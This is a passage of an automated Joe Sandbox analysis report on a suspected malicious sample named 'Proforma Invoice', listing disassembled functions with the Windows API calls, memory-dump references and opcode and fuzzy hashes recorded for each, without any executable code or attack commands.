Instruction Fuzzy Hash: 6451FA35A00105DFCB41EF64D985AAEBBF6EF0A314B1484A9E809AB361CB35ED11DF64

Function 0072A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 129eb23e9e7ca17d46b3e0fd6e52b6ddf76ed867481ecf9f2ec33c57eb1a090c
Instruction ID: 75a890bcbcd939566b4524eaa13f89e6cb59de99f6a11e150088bcccad9a5fe3
Opcode Fuzzy Hash: 129eb23e9e7ca17d46b3e0fd6e52b6ddf76ed867481ecf9f2ec33c57eb1a090c
Instruction Fuzzy Hash: 3041E435904228FFD720DF28EC48FA9BBB8EB09320F144165F916A72E1D778AD61DA51

Function 006A2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 006A2357
ScreenToClient.USER32(007657B0,?), ref: 006A2374
GetAsyncKeyState.USER32(00000001), ref: 006A2399
GetAsyncKeyState.USER32(00000002), ref: 006A23A7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: b67a90527fee8e9ed572333cf271e9e6c41da7677d62fdcc0bf1bbbf1174651c
Instruction ID: 389952a6e413dc30abfcae7eee40c344783f9ca3a02d798556702d9d8366283b
Opcode Fuzzy Hash: b67a90527fee8e9ed572333cf271e9e6c41da7677d62fdcc0bf1bbbf1174651c
Instruction Fuzzy Hash: BF417135A0411AFBCF259F69C844AE9BB76FB06360F20432AF82992390C735AD51DF91

Function 006F63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006F63E7
TranslateAcceleratorW.USER32(?,?,?), ref: 006F6433
TranslateMessage.USER32(?), ref: 006F645C
DispatchMessageW.USER32(?), ref: 006F6466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006F6475

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: c51c6f4611e742f6a632b340722153872f3a3b920b1f622ae74751099ba9202b
Instruction ID: 07dced3fbd346969f3af6715ae84add0bf6a477bd00f304fc8acd960048f7d7e
Opcode Fuzzy Hash: c51c6f4611e742f6a632b340722153872f3a3b920b1f622ae74751099ba9202b
Instruction Fuzzy Hash: 8831C47190065AAFDB64DF70CC45BF67BFAAB01300F148175F622C32A0E7699889E764

Function 006F8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 006F8A30
PostMessageW.USER32(?,00000201,00000001), ref: 006F8ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 006F8AE2
PostMessageW.USER32(?,00000202,00000000), ref: 006F8AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 006F8AF8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 434a51218c136a28feb94620043bda84a3d56e3d165e9f39f3c8175cac5809d2
Instruction ID: 37c97df4ab11220a2f120898bdb9050ce96db9845c73be759f681941278f2390
Opcode Fuzzy Hash: 434a51218c136a28feb94620043bda84a3d56e3d165e9f39f3c8175cac5809d2
Instruction Fuzzy Hash: 5931D17150021DEFDB14CF68D94CAEE3BB6EB04315F108269FA24E72D0C7B09910CB90

Function 006FB1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 006FB204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 006FB221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 006FB259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 006FB27F
_wcsstr.LIBCMT ref: 006FB289

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 4c893cd89dac965dc004fc8ce37aa141812e84702dddcecdf1011dede7e805b5
Instruction ID: a26b9af789b19fab6a7191f6ef7610dfa8be94a61e7d1e0e911c936df7545237
Opcode Fuzzy Hash: 4c893cd89dac965dc004fc8ce37aa141812e84702dddcecdf1011dede7e805b5
Instruction Fuzzy Hash: EC213731204204BBEB259B35DC09EBF7BAEDF49710F00803DF904CA261EF65DD419664

Function 0072B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

GetWindowLongW.USER32(?,000000F0), ref: 0072B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0072B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0072B1CF
GetSystemMetrics.USER32(00000004), ref: 0072B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00710E90,00000000), ref: 0072B216

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: c2b27dbdb94c9f90d966b889d9f807a3e16c90eaa697191623040573b08c2373
Instruction ID: f0508d6de0d3b7ae277c72d461cc6d619ee228702129ec7ce88cf20c2368a2e1
Opcode Fuzzy Hash: c2b27dbdb94c9f90d966b889d9f807a3e16c90eaa697191623040573b08c2373
Instruction Fuzzy Hash: 28219171910666EFCB209F38AC14A6A37A4FB15721F108738F932D71E0D73898619B90

Function 006F9307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 006F9320

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 006F9352
__itow.LIBCMT ref: 006F936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 006F9392
__itow.LIBCMT ref: 006F93A3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 836b599cee26719e16896ab5bf0b381b5df27f83cbdf603693a4160ab5365fc9
Instruction ID: a9a278a6131634e394bd5d9acea4ac48634a0672554e9f97d2bdb7d1427e75b7
Opcode Fuzzy Hash: 836b599cee26719e16896ab5bf0b381b5df27f83cbdf603693a4160ab5365fc9
Instruction Fuzzy Hash: 6621C53270021CABDB10AA649C85FFE7BABEB49711F048029FA45D72D1D6B09D4587A5

Function 00715A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00715A6E
GetForegroundWindow.USER32 ref: 00715A85
GetDC.USER32(00000000), ref: 00715AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00715ACD
ReleaseDC.USER32(00000000,00000003), ref: 00715B08

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: e9ea9499a75a814497a20b8eb3d48a3cef5c5ee0bcf157916e7206036594c524
Instruction ID: 0bec895f2bbab19727f4832ab567a85c8a37a7a23d7bd490665d83c04f6c60a4
Opcode Fuzzy Hash: e9ea9499a75a814497a20b8eb3d48a3cef5c5ee0bcf157916e7206036594c524
Instruction Fuzzy Hash: 7821A135A00104EFD714EFA8DC89A9ABBF5EF48310F14C579F84997362CA38AC41CBA4

Function 006A12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 006A134D
SelectObject.GDI32(?,00000000), ref: 006A135C
BeginPath.GDI32(?), ref: 006A1373
SelectObject.GDI32(?,00000000), ref: 006A139C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 798706d15a926599c7bf496f08575464fa64d0899dcf0e3fea5378e560951e89
Instruction ID: 7bcac705765c3633ab7e909b1864f81e68855c900bb3691f58d351dcf55a0bd7
Opcode Fuzzy Hash: 798706d15a926599c7bf496f08575464fa64d0899dcf0e3fea5378e560951e89
Instruction Fuzzy Hash: 4F213130800709DBDF219F15DC447AD7BA9EB02711F14C226E4519BAB0D7B99D92EF98

Function 00704A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00704ABA
__beginthreadex.LIBCMT ref: 00704AD8
MessageBoxW.USER32(?,?,?,?), ref: 00704AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00704B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00704B0A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 9c812f4c8e1bfd8f491601c941d4d120a7ed5b79788f704ce5bb603b1b69c9c3
Instruction ID: eb80b04655ceb4f777b61dfac6cb83719d2feb486e8027fbb2baa207de932e9a
Opcode Fuzzy Hash: 9c812f4c8e1bfd8f491601c941d4d120a7ed5b79788f704ce5bb603b1b69c9c3
Instruction Fuzzy Hash: 0B11E5F6904218BFC7109BA8DC04A9A7FBDEB49324F148369F915D3290D6B9C90087A5

Function 006F8202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 006F821E
GetLastError.KERNEL32(?,006F7CE2,?,?,?), ref: 006F8228
GetProcessHeap.KERNEL32(00000008,?,?,006F7CE2,?,?,?), ref: 006F8237
HeapAlloc.KERNEL32(00000000,?,006F7CE2,?,?,?), ref: 006F823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 006F8255

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 86ba3dd4ff68daf6973d903d14f3b7f3736bbd9e9a6b0f3432edefcd254f51b7
Instruction ID: 014fc55719180b4af3234764267e552f14dee9a253fec1c09cba9f28ba051650
Opcode Fuzzy Hash: 86ba3dd4ff68daf6973d903d14f3b7f3736bbd9e9a6b0f3432edefcd254f51b7
Instruction Fuzzy Hash: DC016971600208BFDB204FA6DC48DAB7BBDEF8A754B504479F909C3220DB319D11CAA0

Function 006F710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?,?,006F7455), ref: 006F7127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?), ref: 006F7142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?), ref: 006F7150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?), ref: 006F7160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?), ref: 006F716C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: e9cbfe3bc760c2e8f3382eb2a1ef16e7c8700aab71dbdba927bed6aeb726d1c8
Instruction ID: 03f13f183f26c6c1061f3a3a5e51af68e7fd51ed3a3cb8a79dbbc815cbc58cc7
Opcode Fuzzy Hash: e9cbfe3bc760c2e8f3382eb2a1ef16e7c8700aab71dbdba927bed6aeb726d1c8
Instruction Fuzzy Hash: B0018F72601208BBDB218F64DC44BAABBBEEF44791F184074FE04D3220D735DD569BA0

Function 00705244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00705260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0070526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00705276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00705280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007052BC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 69edb6586f68cea5f482e620241cf9b6aa02a066c8bbdac5a8d74d9a9383b3d3
Instruction ID: 92f228dc4ecf14c7a253ad15b61104744bbb9804d211776aae9abe67af76cdea
Opcode Fuzzy Hash: 69edb6586f68cea5f482e620241cf9b6aa02a066c8bbdac5a8d74d9a9383b3d3
Instruction Fuzzy Hash: 43016D71D01A1DDBDF10EFE4D8485EEBBB8FF0D711F414266E941B2180CB3859619BA9

Function 006F810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 006F8121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 006F812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006F813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 006F8141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006F8157

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 77fd16c1119d9c8025e8a088e5755fcb77a1b12631b7f477d87f62b67f898600
Instruction ID: c023a2f732710630c5ee4fac73e103b5c05d4c3dac0e0ad91ec4e1674eeae902
Opcode Fuzzy Hash: 77fd16c1119d9c8025e8a088e5755fcb77a1b12631b7f477d87f62b67f898600
Instruction Fuzzy Hash: 69F0AF70200309AFEB214FA4EC88EB73BBDEF4AB54B004139FA45C3250CB649C12DA60

Function 006FC1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 006FC1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 006FC20E
MessageBeep.USER32(00000000), ref: 006FC226
KillTimer.USER32(?,0000040A), ref: 006FC242
EndDialog.USER32(?,00000001), ref: 006FC25C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 03e164201cb5f5a3d57e18fb9c3875192e0508ad9ab6e81c054f97da70b19681
Instruction ID: 69616d2dc8e41a69718244741a392c35d916e7dc6a97bd07078a2e57f93987e1
Opcode Fuzzy Hash: 03e164201cb5f5a3d57e18fb9c3875192e0508ad9ab6e81c054f97da70b19681
Instruction Fuzzy Hash: 2E01A73040470C97EB305B50DD4EFA67779FB00B06F00426DE642A15E1D7E469499B54

Function 006A13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 006A13BF
StrokeAndFillPath.GDI32(?,?,006DB888,00000000,?), ref: 006A13DB
SelectObject.GDI32(?,00000000), ref: 006A13EE
DeleteObject.GDI32 ref: 006A1401
StrokePath.GDI32(?), ref: 006A141C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 783bd979e1e95fee84c7191dab1635c20e2498a2fb66f1dee9aec81f76d6e500
Instruction ID: a8f7ed135cafe2fb4457d0bafabcfe354a6b41f1f15079af229114876c4830ff
Opcode Fuzzy Hash: 783bd979e1e95fee84c7191dab1635c20e2498a2fb66f1dee9aec81f76d6e500
Instruction Fuzzy Hash: 45F0CD30004709DBDB216F1AED4C7583BF5E742326F08C325E46A5A5F1C77949A6EF58

Function 0070C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0070C432
CoCreateInstance.OLE32(00732D6C,00000000,00000001,00732BDC,?), ref: 0070C44A

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

CoUninitialize.OLE32 ref: 0070C6B7

Strings

.lnk, xrefs: 0070C3C6, 0070C3EE, 0070C3F8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 3c4c094c0e38013b71327dfca1e4cc2450aa131f74c91ece33026619adedf272
Instruction ID: 62670ea2edb8c15f9686e8bb3aaa9a08196e1fdb984481c377f062f49a7fcd95
Opcode Fuzzy Hash: 3c4c094c0e38013b71327dfca1e4cc2450aa131f74c91ece33026619adedf272
Instruction Fuzzy Hash: D5A14CB1104205AFD740EF54C881EABB7E9FF86354F004A2DF1569B1A2DB71EE09CB66

Function 006B2CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 006C0DB6: std::exception::exception.LIBCMT ref: 006C0DEC
